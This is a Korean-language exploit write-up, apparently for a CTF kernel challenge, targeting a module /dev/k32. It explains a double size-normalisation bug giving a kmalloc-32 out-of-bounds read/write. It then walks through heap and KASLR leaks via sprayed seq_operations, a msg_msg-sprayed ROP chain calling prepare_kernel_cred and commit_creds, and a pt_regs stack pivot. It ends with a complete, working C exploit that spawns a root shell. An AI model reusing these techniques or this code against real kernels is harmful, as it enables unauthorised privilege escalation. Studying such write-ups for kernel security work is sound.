k32

취약점 분석

1. k32_create의 이중 크기 보정으로 발생하는 할당 크기 불일치

모듈은 요청 크기를 0x20 또는 0x30으로 정규화하기 위해 k32_fix_size를 사용한다.

static uint8_t k32_fix_size(uint8_t size)
{
    return size < 0x31 ? 0x20 : 0x30;
}

문제는 k32_create가 요청 구조체의 크기를 한 번 보정한 뒤, 실제 버퍼를 할당할 때 같은 함수에 보정된 값을 다시 넣는다는 점이다.

static int k32_create(struct req *req)
{
    struct k32_node *node;
 
    req->size = k32_fix_size(req->size);
    node = find_empty_node_or_allocate();
 
    node->data = kmalloc(k32_fix_size(req->size), GFP_KERNEL);
    if (!node->data)
        return -1;
 
    node->size = req->size;
    return 0;
}

처음 전달한 크기가 0x31 이상이면 첫 번째 보정 결과는 0x30이다. 그러나 두 번째 호출은 k32_fix_size(0x30)이므로 0x20을 반환한다.

사용자 요청 크기       0xff
첫 번째 fix_size       0x30
node->size             0x30
두 번째 fix_size       fix_size(0x30) = 0x20
실제 kmalloc 크기      0x20

결과적으로 노드에는 크기가 0x30으로 기록되지만, 실제 데이터는 kmalloc-32에서 0x20바이트만 할당된다.

2. 잘못된 크기 메타데이터를 신뢰하는 k32_read와 k32_write

k32_read와 k32_write는 실제 slab 객체 크기를 검사하지 않고 node->size만 신뢰한다.

static int k32_read(struct req *req)
{
    struct k32_node *node = k32_search(req->index);
 
    if (!node || node->size < req->size)
        return -1;
 
    if (copy_to_user(req->data, node->data, req->size))
        return -1;
 
    return 0;
}
 
static int k32_write(struct req *req)
{
    struct k32_node *node = k32_search(req->index);
 
    if (!node || node->size < req->size)
        return -1;
 
    if (copy_from_user(node->data, req->data, req->size))
        return -1;
 
    return 0;
}

앞 단계에서 node->size는 0x30, 실제 객체 크기는 0x20이 되었다. 따라서 크기 0x30으로 read/write를 요청하면 검사를 통과하면서 다음 kmalloc-32 객체의 첫 0x10바이트까지 접근한다.

k32 데이터 객체                     인접 kmalloc-32 객체
+0x00 ┌──────────────────────┐
      │ 정상 영역 0x20       │
+0x20 ├──────────────────────┼── 인접 객체 시작
      │ OOB 영역 0x10        │
+0x30 └──────────────────────┘

이 OOB read/write로 인접한 struct seq_operations의 start와 stop 함수 포인터를 읽고 덮을 수 있다. 이 커널에서는 CONFIG_HARDENED_USERCOPY가 꺼져 있어 slab 객체 경계를 넘는 copy_to_user와 copy_from_user가 차단되지 않는다.

3. 초기화되지 않은 kmalloc-32 객체를 이용한 SLUB 포인터 누출

kmalloc-32의 freelist 포인터는 free 객체의 +0x10에 저장된다. SLAB_FREELIST_HARDENED가 꺼져 있고 kmalloc이 객체를 초기화하지 않으므로, 새로 할당된 k32 데이터 객체의 +0x10에 이전 freelist 포인터가 남는다.

k32 데이터 객체
+0x00  사용자 데이터 0x10바이트
+0x10  이전 SLUB freelist 포인터
+0x18  미초기화 영역

객체 앞 0x10바이트만 덮은 뒤 0x30바이트를 읽으면 buf+0x10에서 direct map의 커널 힙 주소를 얻을 수 있다. 하위 12비트를 제거하면 해당 kmalloc-32 slab 페이지의 시작 주소를 구할 수 있다.

heap_32_slab_addr = *(uint64_t *)(buf + 0x10) & ~0xfffUL;

Exploit 과정

Step 1: 크기 불일치 객체 생성과 커널 힙 누출

크기 0xff로 객체를 생성하면 논리 크기는 0x30이지만 실제 할당은 0x20이 된다. 앞 0x10바이트에 A를 쓰고 0x30바이트를 읽어 kmalloc-32 freelist 포인터를 누출한다.

k32_create(fd, 0xff);
k32_write(fd, 0, 0x10, "AAAAAAAAAAAAAAAA");
 
char buf[0x30] = {0};
k32_read(fd, 0, 0x30, buf);
 
heap_32_slab_addr = *(uint64_t *)(buf + 0x10) & ~0xfffUL;

성공한 로컬 환경에서는 kmalloc-4k 메시지 스프레이 영역이 이 페이지에서 0x30000 떨어진 위치에 배치됐다. 이 값은 현재 커널과 initramfs의 allocator 상태에 의존하는 경험적 오프셋이다.

heap_4k_slab_addr = heap_32_slab_addr + 0x30000;

Step 2: seq_operations 스프레이와 KASLR 우회

open("/proc/self/stat")은 single_open을 거치며 0x20바이트 struct seq_operations를 kmalloc-32에 할당한다.

struct seq_operations {
    void *(*start)(struct seq_file *m, loff_t *pos);        // +0x00
    void (*stop)(struct seq_file *m, void *v);              // +0x08
    void *(*next)(struct seq_file *m, void *v, loff_t *pos);// +0x10
    int (*show)(struct seq_file *m, void *v);                // +0x18
};

여러 fd를 열어 k32 객체의 물리적 이웃을 seq_operations로 채운다.

int spray_size = 0x40;
int seq_fd[spray_size];
 
for (int i = 0; i < spray_size; i++)
    seq_fd[i] = open("/proc/self/stat", O_RDONLY);

다시 0x30바이트를 읽으면 OOB 영역 buf+0x20과 buf+0x28에서 single_start, single_stop 주소가 누출된다.

buf+0x20  single_start = 0xffffffff811aa471
buf+0x28  single_stop  = 0xffffffff811aa489

현재 vmlinux에서 single_start 오프셋은 0x1aa471이므로 커널 베이스를 계산할 수 있다.

kbase = *(uint64_t *)(buf + 0x20) - 0x1aa471;

Step 3: 사용자 복귀 상태와 커널 ROP 주소 계산

KPTI trampoline을 통해 사용자 공간으로 안전하게 복귀하기 위해 CS, SS, RSP, RFLAGS를 저장한다.

static void save_user_state(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

누출한 커널 베이스에서 함수와 가젯 주소를 계산한다.

pop_rdi_ret = kbase + 0x12352e;
prepare_kernel_cred = kbase + 0x6e045;
commit_creds = kbase + 0x6de51;
xchg_rax_rdi_ret = kbase + 0xef31f;
 
ret_148 = kbase + 0x1931e;            // ret 0x148
add_rsp_40_ret = kbase + 0x2af875;    // add rsp, 0x40; ret
pop_rsp_ret = kbase + 0x6050c;        // pop rsp; ret
 
swapgs_restore_regs_and_return_to_usermode =
    kbase + 0x600e10 + 49;

이 커널의 swapgs_restore_regs_and_return_to_usermode는 함수 시작 뒤에 27바이트의 prefix가 있고, 레지스터 복원용 pop 블록이 22바이트이다. 따라서 compact iret 프레임을 사용하려면 27 + 22 = 49 위치로 진입해야 한다.

Step 4: msg_msg 스프레이로 커널 가짜 스택 구성

이 커널에서 struct msg_msg 헤더는 0x30바이트이다. 메시지 데이터 크기를 0x1000-0x30=0xfd0으로 지정하면 주 메시지 객체의 할당 크기는 정확히 0x1000이 된다.

struct msg_buf {
    long mtype;
    char mtext[0xfd0];
};

ROP 체인은 메시지 객체의 +0x30부터 저장된다.

payload[i++] = pop_rdi_ret;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
payload[i++] = xchg_rax_rdi_ret;
payload[i++] = commit_creds;
payload[i++] = swapgs_restore_regs_and_return_to_usermode;
payload[i++] = 0;
payload[i++] = 0;
payload[i++] = (uint64_t)&shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;

prepare_kernel_cred(0)의 반환값은 RAX에 저장된다. xchg rdi, rax; ...; ret 가젯으로 이를 첫 번째 인자 레지스터 RDI로 옮긴 뒤 commit_creds를 호출한다. 마지막에는 KPTI trampoline이 저장된 사용자 상태를 이용해 shell로 복귀한다.

동일한 ROP 체인을 여러 kmalloc-4k 페이지에 배치한다.

for (int i = 0; i < 0x20; i++) {
    int id = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    msgsnd(id, &msg, sizeof(msg.mtext), 0);
}

Step 5: seq_operations 함수 포인터 overwrite

OOB write의 0x10바이트 범위는 인접 seq_operations의 start와 stop에 정확히 대응한다.

k32 data+0x20  seq_operations->start
k32 data+0x28  seq_operations->stop

두 필드를 스택 조작 가젯으로 덮는다.

*(uint64_t *)(buf + 0x20) = ret_148;
*(uint64_t *)(buf + 0x28) = add_rsp_40_ret;
k32_write(fd, 0, 0x30, buf);

GDB에서 측정한 start 진입 스택 기준으로 saved R14는 RSP+0x188, saved R13은 RSP+0x190에 있다. ret 0x148의 실제 RSP 이동량은 반환 주소 8바이트를 포함해 0x150이다. 이후 stop 호출이 복귀 주소 8바이트를 push하고 add rsp,0x40; ret가 실행되면서 최종적으로 saved R14를 RIP로 사용한다.

start: ret 0x148
    RSP += 8 + 0x148
 
stop 호출
    RSP -= 8
 
stop: add rsp, 0x40; ret
    총 순이동 = 0x148 + 0x40 = 0x188
    RIP = saved R14
    RSP -> saved R13

Step 6: 저장된 R14/R13을 이용한 스택 피벗과 권한 상승

트리거 직전에 사용자 R14에는 pop rsp; ret, R13에는 msg_msg+0x30 주소를 넣는다. syscall 진입 과정에서 이 값들이 커널 스택의 pt_regs에 저장된다.

for (int i = 0; i < spray_size; i++) {
    register uint64_t r14 asm("r14") = pop_rsp_ret;
    register uint64_t r13 asm("r13") = heap_4k_slab_addr + 0x30;
 
    read(seq_fd[i], buf, sizeof(buf));
}

변조된 fd를 읽으면 다음 흐름으로 실행된다.

seq_operations->start
    -> ret 0x148
 
seq_operations->stop
    -> add rsp,0x40; ret
    -> RIP = saved R14 = pop rsp; ret
 
pop rsp; ret
    -> RSP = saved R13 = msg_msg+0x30
    -> ROP 체인 실행
 
prepare_kernel_cred(0)
    -> RAX = 새 cred
 
xchg rdi,rax; ...; ret
    -> RDI = 새 cred
 
commit_creds(RDI)
    -> 현재 프로세스 권한을 root로 변경
 
swapgs_restore_regs_and_return_to_usermode+49
    -> KPTI 처리와 iretq
    -> 사용자 공간 shell 실행

어떤 seq_fd가 물리적으로 인접한 객체인지 알 수 없으므로 스프레이한 fd를 모두 읽는다. 변조된 fd에 도달하면 ROP가 실행되고 root shell로 복귀한다.

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
 
#define K32_CREATE 0xb10500a
#define K32_READ 0xb10500c
#define K32_WRITE 0xb10500d
#define K32_DELETE 0xb10500b
 
int fd = 0;
int msg_id;
uint64_t kbase, heap_32_slab_addr, heap_4k_slab_addr;
uint64_t *payload;
uint64_t prepare_kernel_cred, commit_creds;
uint64_t pop_rdi_ret, xchg_rax_rdi_ret, swapgs_restore_regs_and_return_to_usermode, add_rsp_40_ret, ret_148, pop_rsp_ret;
uint64_t user_cs, user_ss, user_rflags, user_sp;
 
struct req
{
    int64_t data;
    uint8_t size;
    uint8_t pad[3];
    int32_t index;
};
 
struct msg_buf
{
    long mtype;
    char mtext[0x1000 - 0x30];
};
 
void k32_create(int fd, uint8_t size)
{
    struct req r = {0};
    r.size = size;
    ioctl(fd, K32_CREATE, &r);
}
 
void k32_read(int fd, int32_t index, uint8_t size, void *data)
{
    struct req r = {0};
    r.data = (int64_t)data;
    r.index = index;
    r.size = size;
    ioctl(fd, K32_READ, &r);
}
 
void k32_write(int fd, int32_t index, uint8_t size, void *data)
{
    struct req r = {0};
    r.data = (int64_t)data;
    r.index = index;
    r.size = size;
    ioctl(fd, K32_WRITE, &r);
}
 
void k32_delete(int fd, int32_t index)
{
    struct req r = {0};
    r.index = index;
    ioctl(fd, K32_DELETE, &r);
}
 
void save_user_state()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;");
    info("user state saved!");
}
 
void setup_rop_chain()
{
    struct msg_buf msg = {0};
    msg.mtype = 1;
 
    payload = malloc(0x1000 - 0x30);
    memset(payload, 0, 0x1000 - 0x30);
 
    int i = 0;
    payload[i++] = pop_rdi_ret;
    payload[i++] = 0;
    payload[i++] = prepare_kernel_cred;
    payload[i++] = xchg_rax_rdi_ret;
    payload[i++] = commit_creds;
    payload[i++] = swapgs_restore_regs_and_return_to_usermode;
    payload[i++] = 0; // dummy
    payload[i++] = 0; // dummy
    payload[i++] = &shell;
    payload[i++] = user_cs;
    payload[i++] = user_rflags;
    payload[i++] = user_sp;
    payload[i++] = user_ss;
 
    memcpy(msg.mtext, payload, 0x1000 - 0x30);
 
    int msg_spray_sisze = 0x20;
    int msg_id[msg_spray_sisze];
    for (int i = 0; i < msg_spray_sisze; i++)
    {
        msg_id[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        msgsnd(msg_id[i], &msg, sizeof(msg.mtext), 0);
    }
 
    info("rop chain set!");
}
 
int main()
{
    important("happy hacking!");
 
    pin_cpu(0);
 
    fd = open("/dev/k32", O_RDWR);
    if (fd < 0)
    {
        perror("open");
        return 1;
    }
    info("opened /dev/k32");
 
    // create a obj -> it will be allocated at kmalloc-32 and obj->size will be 0x30 -> overflow!
    k32_create(fd, 0xff);
    k32_write(fd, 0, 0x10, "AAAAAAAAAAAAAAAA");
 
    // oob read -> heap leak
    char buf[0x30];
    memset(buf, 0, sizeof(buf));
    k32_read(fd, 0, 0x30, buf);
 
    hexdump(buf, sizeof(buf));
 
    heap_32_slab_addr = *(uint64_t *)(buf + 0x10) & ~0xfff;
    heap_4k_slab_addr = heap_32_slab_addr + 0x30000;
    info("heap_32_slab_addr: 0x%lx", (unsigned long)heap_32_slab_addr);
    info("heap_4k_slab_addr: 0x%lx", (unsigned long)heap_4k_slab_addr);
 
    // spray seq_operations struct to get a kernel leak
    int spray_size = 0x40;
    int seq_fd[spray_size];
    for (int i = 0; i < spray_size; i++)
    {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }
    info("sprayed seq_operations struct");
 
    memset(buf, 0, sizeof(buf));
    k32_read(fd, 0, 0x30, buf);
    hexdump(buf, sizeof(buf));
 
    kbase = *(uint64_t *)(buf + 0x20) - 0x1aa471;
    info("kbase: 0x%lx", (unsigned long)kbase);
 
    // set up the rop chain
    pop_rdi_ret = kbase + 0x12352e;
    prepare_kernel_cred = kbase + 0x6e045;
    commit_creds = kbase + 0x6de51;
    xchg_rax_rdi_ret = kbase + 0xef31f;
    swapgs_restore_regs_and_return_to_usermode = kbase + 0x600e10 + 49;
    add_rsp_40_ret = kbase + 0x2af875;
    ret_148 = kbase + 0x01931e;
    pop_rsp_ret = kbase + 0x06050c;
 
    save_user_state();
    setup_rop_chain();
 
    // overwrite seq_operations->start,stop
    *(uint64_t *)(buf + 0x20) = ret_148;
    *(uint64_t *)(buf + 0x28) = add_rsp_40_ret;
    k32_write(fd, 0, 0x30, buf);
    info("overwritten seq_operations->start,stop");
 
    // trigger the rop chain
    for (int i = 0; i < spray_size; i++)
    {
        register uint64_t r14 asm("r14");
        register uint64_t r13 asm("r13");
 
        r14 = pop_rsp_ret;
        r13 = heap_4k_slab_addr + 0x30;
 
        read(seq_fd[i], buf, sizeof(buf));
        info("triggered rop chain on seq_fd[%d]", i);
    }
 
    return 0;
}